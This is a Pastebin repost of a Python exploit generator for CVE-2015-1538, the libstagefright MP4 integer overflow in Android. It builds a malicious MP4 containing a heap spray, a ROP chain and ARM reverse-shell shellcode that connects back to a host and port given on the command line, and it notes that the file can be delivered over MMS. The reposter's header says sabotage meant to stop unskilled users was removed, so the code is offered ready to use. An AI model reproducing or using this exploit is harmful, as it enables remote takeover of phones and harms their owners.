KekSec

Working stagefright exploit gen- Antiskid removed - PHAT HAX

Apr 19th, 2017
602
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.30 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # ANTISKID REMOVED BY MILENKO
  3. #LITERALLY LIKE 100 DIFF ANTISKIDS FOR UNICODE AND RETARDED SHIT
  4. #BIIIIIG HAAAAX
  5. # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
  6. # Shout outs to our friends at Optiv (formerly Accuvant Labs)
  7. # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
  8. # www.zimperium.com
  9. #
  10. # Exploit for RCE Vulnerability CVE-2015-1538 #1
  11. # Integer Overflow in the libstagefright MP4 'stsc' atom handling
  12. #
  13. # Don't forget, the output of "create_mp4" can be delivered many ways!
  14. # MMS is the most dangerous attack vector, but not the only one...
  15. #
  16. # DISCLAIMER: This exploit is for testing and educational purposes only. Any
  17. # other usage for this code is not allowed. Use at your own risk.
  18. #
  19. # "With great power comes great responsibility." - Uncle Ben
  20. #
  21. import struct
  22. import socket
  23. #
  24. # Creates a single MP4 atom - LEN, TAG, DATA
  25. #
  26. def make_chunk(tag, data):
  27.    if len(tag) != 4:
  28.        raise 'Yo! They call it "FourCC" for a reason.'
  29.    ret = struct.pack('>L', len(data) + 8)
  30.    ret += tag
  31.    ret += data
  32.    return ret
  33. #
  34. # Make an 'stco' atom - Sample Table Chunk Offets
  35. #
  36. def make_stco(extra=""):
  37.    ret =  struct.pack('>L', 0) # version
  38.    ret += struct.pack('>L', 0) # mNumChunkOffsets
  39.    return make_chunk('stco', ret+extra)
  40. #
  41. # Make an 'stsz' atom - Sample Table Size
  42. #
  43. def make_stsz(extra=""):
  44.    ret =  struct.pack('>L', 0) # version
  45.    ret += struct.pack('>L', 0) # mDefaultSampleSize
  46.    ret += struct.pack('>L', 0) # mNumSampleSizes
  47.    return make_chunk('stsz', ret+extra)
  48. #
  49. # Make an 'stts' atom - Sample Table Time-to-Sample
  50. #
  51. def make_stts():
  52.    ret =  struct.pack('>L', 0) # version
  53.    ret += struct.pack('>L', 0) # mTimeToSampleCount
  54.    return make_chunk('stts', ret)
  55. #
  56. # This creates a single Sample Table Sample-to-Chunk entry
  57. #
  58. def make_stsc_entry(start, per, desc):
  59.    ret= ""
  60.    ret += struct.pack('>L', start + 1)
  61.    ret += struct.pack('>L', per)
  62.    ret += struct.pack('>L', desc)
  63.    return ret
  64. #
  65. # Make an 'stsc' chunk - Sample Table Sample-to-Chunk
  66. #
  67. # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
  68. # cause a heap overflow.
  69. #
  70. def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
  71.    ret =  struct.pack('>L', 0) # version/flags
  72.    # this is the clean version...
  73.    if not do_overflow:
  74.        ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
  75.        ret += 'Z' * (12 * num_alloc)
  76.        return make_chunk('stsc', ret)
  77.  
  78.    # now the explicit version. (trigger the bug)
  79.    ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
  80.    # fill in the entries that will overflow the buffer
  81.    for x in range(0, num_write):
  82.        ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
  83.  
  84.    ret = make_chunk('stsc', ret)
  85.  
  86.    # patch the data_size
  87.    ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]
  88.  
  89.    return ret
  90.  
  91. #
  92. # Build the ROP chain
  93. #
  94. # ROP pivot by Georg Wicherski! Thanks!
  95. #
  96. """
  97. (gdb) x/10i __dl_restore_core_regs
  98.  0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
  99.  0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
  100.  0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
  101.  0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
  102.  0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
  103. """
  104. """
  105. b0001144 <__dl_mprotect>:
  106. b0001144:       e92d0090        push    {r4, r7}
  107. b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
  108. b000114c:       ef000000        svc     0x00000000
  109. b0001150:       e8bd0090        pop     {r4, r7}
  110. b0001154:       e1b00000        movs    r0, r0
  111. b0001158:       512fff1e        bxpl    lr
  112. b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
  113. """
  114. def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
  115.    rop= ""
  116.    rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
  117.    rop += struct.pack('<L', 0xb0002a98)           # new lr - pop {pc}
  118.    rop += struct.pack('<L', 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}
  119.  
  120.    rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
  121.    rop += struct.pack('<L', 0x1000)               # new r1 - length
  122.    rop += struct.pack('<L', 7)                    # new r2 - protection
  123.    rop += struct.pack('<L', 0xd000d003)           # new r3 - scratch
  124.    rop += struct.pack('<L', 0xd000d004)           # new r4 - scratch
  125.    rop += struct.pack('<L', 0xb0001144)           # new pc - _dl_mprotect
  126.  
  127.    native_start = sp_addr + 0x80
  128.    rop += struct.pack('<L', native_start)         # address of native payload
  129.    #rop += struct.pack('<L', 0xfeedfed5)          # top of stack...
  130.    # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
  131.    buf = ""
  132.    # fork
  133.    buf += '\x02\x70\xa0\xe3'
  134.    buf += '\x00\x00\x00\xef'
  135.    # continue if not parent...
  136.    buf += '\x00\x00\x50\xe3'
  137.    buf += '\x02\x00\x00\x0a'
  138.    # exit parent
  139.    buf += '\x00\x00\xa0\xe3'
  140.    buf += '\x01\x70\xa0\xe3'
  141.    buf += '\x00\x00\x00\xef'
  142.    # setsid in child
  143.    buf += '\x42\x70\xa0\xe3'
  144.    buf += '\x00\x00\x00\xef'
  145.    # socket/connect/dup2/dup2/dup2
  146.    buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
  147.    buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
  148.    buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
  149.    buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
  150.    buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
  151.    buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
  152.    buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
  153.    buf += '\xe3\x00\x00\x00\xef'
  154.    # execve(shell, argv, env)
  155.    buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
  156.    buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
  157.    buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
  158.    buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
  159.    buf += '\xef\x02\x00'
  160.    # Add the connect back host/port
  161.    buf += struct.pack('!H', cb_port)
  162.    cb_host = socket.inet_aton(cb_host)
  163.    buf += struct.pack('=4s', cb_host)
  164.    # shell -
  165.    buf += '/system/bin/sh\x00\x00'
  166.    # argv -
  167.    buf += 'sh\x00\x00'
  168.    # env -
  169.    buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'
  170.  
  171.    # Add some identifiable stuff, just in case something goes awry...
  172.    rop_start_off = 0x34
  173.    x = rop_start_off + len(rop)
  174.    while len(rop) < 0x80 - rop_start_off:
  175.        rop += struct.pack('<L', 0xf0f00000+x)
  176.        x += 4
  177.  
  178.    # Add the native payload...
  179.    rop += buf
  180.  
  181.    return rop
  182.  
  183. #
  184. # Build an mp4 that exploits CVE-2015-1538 #1
  185. #
  186. # We mimic meow.3gp here...
  187. #
  188. def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
  189.    chunks = []
  190.  
  191.    # Build the MP4 header...
  192.    ftyp =  'mp42'
  193.    ftyp += struct.pack('>L', 0)
  194.    ftyp += 'mp42'
  195.    ftyp += 'isom'
  196.    chunks.append(make_chunk('ftyp', ftyp))
  197.  
  198.    # Note, this causes a few allocations...
  199.    moov_data= ""
  200.    moov_data += make_chunk('mvhd',
  201.        struct.pack('>LL', 0, 0x41414141) +
  202.        ('B' * 0x5c) )
  203.  
  204.    # Add a minimal, verified trak to satisfy mLastTrack being set
  205.    moov_data += make_chunk('trak',
  206.        make_chunk('stbl',
  207.            make_stsc(0x28, 0x28) +
  208.            make_stco() +
  209.            make_stsz() +
  210.            make_stts() ))
  211.  
  212.    # Spray the heap using a large tx3g chunk (can contain binary data!)
  213.    """
  214.      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
  215.      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
  216.      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
  217.      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
  218.      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
  219.      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
  220.      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
  221.      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
  222.      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
  223.      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
  224.      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
  225.      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
  226.   """
  227.    page= ""
  228.    off = 0  # the offset to the next object
  229.    off += 8
  230.    page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)
  231.    page += struct.pack('<L', sp_addr + off) # mRefs
  232.    off += 16
  233.    page += struct.pack('<L', 1)             # mStrong
  234.    page += struct.pack('<L', 0xc0dedbad)    # mWeak
  235.    page += struct.pack('<L', sp_addr + off) # mBase
  236.    page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
  237.    off += 8
  238.    page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
  239.    page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)
  240.    off += 16
  241.    page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0
  242.    page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4
  243.    page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8
  244.    page += struct.pack('<L', newpc_val)          # vtable entry 12
  245.    rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
  246.    x = len(page)
  247.    while len(page) < 4096:
  248.        page += struct.pack('<L', 0xf0f00000+x)
  249.        x += 4
  250.  
  251.    off = 0x34
  252.    page = page[:off] + rop + page[off+len(rop):]
  253.    spray = page * (((2*1024*1024) / len(page)) - 20)
  254.    moov_data += make_chunk('tx3g', spray)
  255.    block = 'A' * 0x1c
  256.    bigger = 'B' * 0x40
  257.    udta = make_chunk('udta',
  258.        make_chunk('meta',
  259.            struct.pack('>L', 0) +
  260.            make_chunk('ilst',
  261.                make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
  262.                make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
  263.                make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
  264.                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  265.                make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  266.                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  267.                make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  268.                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  269.                make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  270.                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  271.                make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
  272.                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  273.                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  274.                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  275.                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
  276.            )
  277.        )
  278.    moov_data += udta
  279.  
  280.    # Make the nasty trak
  281.    tkhd1 = "".join([
  282.        '\x00',       # version
  283.        'D' * 3,      # padding
  284.        'E' * (5*4),  # {c,m}time, id, ??, duration
  285.        'F' * 0x10,   # ??
  286.        struct.pack('>LLLLLL',
  287.            0x10000,  # a00
  288.            0,        # a01
  289.            0,        # dx
  290.            0,        # a10
  291.            0x10000,  # a11
  292.            0),       # dy
  293.        'G' * 0x14
  294.        ])
  295.  
  296.    trak1= ""
  297.    trak1 += make_chunk('tkhd', tkhd1)
  298.  
  299.    mdhd1 = "".join([
  300.        '\x00',       # version
  301.        'D' * 0x17,   # padding
  302.        ])
  303.  
  304.    mdia1= ""
  305.    mdia1 += make_chunk('mdhd', mdhd1)
  306.    mdia1 += make_chunk('hdlr', 'F' * 0x3a)
  307.  
  308.    dinf1= ""
  309.    dinf1 += make_chunk('dref', 'H' * 0x14)
  310.  
  311.    minf1= ""
  312.    minf1 += make_chunk('smhd', 'G' * 0x08)
  313.    minf1 += make_chunk('dinf', dinf1)
  314.  
  315.    # Build the nasty sample table to trigger the vulnerability here.
  316.    stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER
  317.  
  318.    # Add the stbl to the minf chunk
  319.    minf1 += make_chunk('stbl', stbl1)
  320.  
  321.    # Add the minf to the mdia chunk
  322.    mdia1 += make_chunk('minf', minf1)
  323.  
  324.    # Add the mdia to the track
  325.    trak1 += make_chunk('mdia', mdia1)
  326.  
  327.    # Add the nasty track to the moov data
  328.    moov_data += make_chunk('trak', trak1)
  329.  
  330.    # Finalize the moov chunk
  331.    moov = make_chunk('moov', moov_data)
  332.    chunks.append(moov)
  333.  
  334.    # Combine outer chunks together and voila.
  335.    data = "".join(chunks)
  336.  
  337.    return data
  338.  
  339. if __name__ == '__main__':
  340.    import sys
  341.    import mp4
  342.    import argparse
  343.  
  344.    def write_file(path, content):
  345.        with open(path, 'wb') as f:
  346.            f.write(content)
  347.  
  348.    def addr(sval):
  349.        if sval.startswith('0x'):
  350.            return int(sval, 16)
  351.        return int(sval)
  352.  
  353.    # The address of a fake StrongPointer object (sprayed)
  354.    sp_addr   = 0x41d00010  # takju @ imm76i - 2MB (via hangouts)
  355.  
  356.    # The address to of our ROP pivot
  357.    newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
  358.  
  359.    # Allow the user to override parameters
  360.    parser = argparse.ArgumentParser()
  361.    parser.add_argument('-c', '-connectback-host', dest='cbhost', default='31.3.3.7')
  362.    parser.add_argument('-p', '-connectback-port', dest='cbport', type=int, default=12345)
  363.    parser.add_argument('-s', '-spray-address', dest='spray_addr', type=addr, default=None)
  364.    parser.add_argument('-r', '-rop-pivot', dest='rop_pivot', type=addr, default=None)
  365.    parser.add_argument('-o', '-output-file', dest='output_file', default='cve-2015-1538-1.mp4')
  366.    args = parser.parse_args()
  367.  
  368.    if len(sys.argv) == 1:
  369.        parser.print_help()
  370.        sys.exit(-1)
  371.  
  372.    if args.spray_addr == None:
  373.        args.spray_addr = sp_addr
  374.    if args.rop_pivot == None:
  375.        args.rop_pivot = newpc_val
  376.  
  377.    # Build the MP4 file...
  378.    data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
  379.    print('[*] Saving crafted MP4 to %s ...' % args.output_file)
  380.    write_file(args.output_file, data) # - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf
Advertisement
Add Comment
Please, Sign In to add comment